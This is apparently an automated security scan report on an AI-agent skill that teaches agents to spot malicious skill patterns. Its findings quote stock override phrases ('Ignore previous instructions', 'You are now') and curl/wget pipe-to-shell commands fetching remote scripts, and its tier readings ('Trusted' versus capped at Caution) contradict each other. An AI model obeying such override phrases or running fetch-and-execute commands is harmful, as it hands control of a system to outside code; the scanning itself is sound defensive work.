Caveat verdict

agent-security-patterns

security-awareness-skill

88
🟢 Trusted
No high-risk patterns surfaced by the deep scan — automated capability review, not behavioral proof.

Reads local files AND makes external network calls

Security education skill teaching AI agents to recognize malicious skill patterns like prompt injection and external fetch attacks; the content actively promotes security awareness and contains no malicious behavior.

Automated static analysis — not a human review. Caveat flags capabilities, not confirmed intent, and can produce false positives. Disagree with this verdict? Use Dispute below.

0
security
70
transparency
90
maintenance

What it does

These are capability combinations: each listed behavior occurs in the skill, but Caveat detects co-occurrence — it does not verify that one flows into another. Read the code to confirm a live chain.

Capability combination critical

Reads local files AND makes external network calls — the capabilities for data exfiltration co-occur (data-flow not verified)

LLM02 · LLM06 · ASI03

Capability combination high

Accesses credentials AND makes external network calls — potential credential theft

LLM02 · ASI03

Permission integrity

Makes network requests but does not declare curl/wget in required binaries

network_out

Performs file operations but does not declare file-accessing binaries

file_read

Code accesses API keys/tokens but declares no environment variables

credential_access

Findings (6)

Pattern match critical

Prompt injection — tries to override agent instructions

SKILL.md · code · Ignore previous instructions

Pattern match critical

Pipe-to-shell pattern (curl | sh) — supply chain attack vector

SKILL.md · code · curl https://example.com/script.sh | bash

Pattern match critical

Pipe-to-shell pattern (wget | sh)

SKILL.md · code · wget https://example.com/install.sh -O - | sh

Pattern match critical

Pipe to bash — executes piped content as shell commands

SKILL.md · code · | bash

Pattern match critical

Pipe to sh — executes piped content as shell commands

SKILL.md · code · | sh

Pattern match high

Possible prompt injection — attempts to redefine agent identity

SKILL.md · code · You are now

Why the tier is capped

Execution sink present in raw bytes (Hard Floor: class A/B). Final tier capped at Caution — cannot be lifted by any downgrade, example-payload opt-in, or allowlist.

Permissions & capabilities

No declared permissions — minimal attack surface.

network_outcredential_accessfile_read
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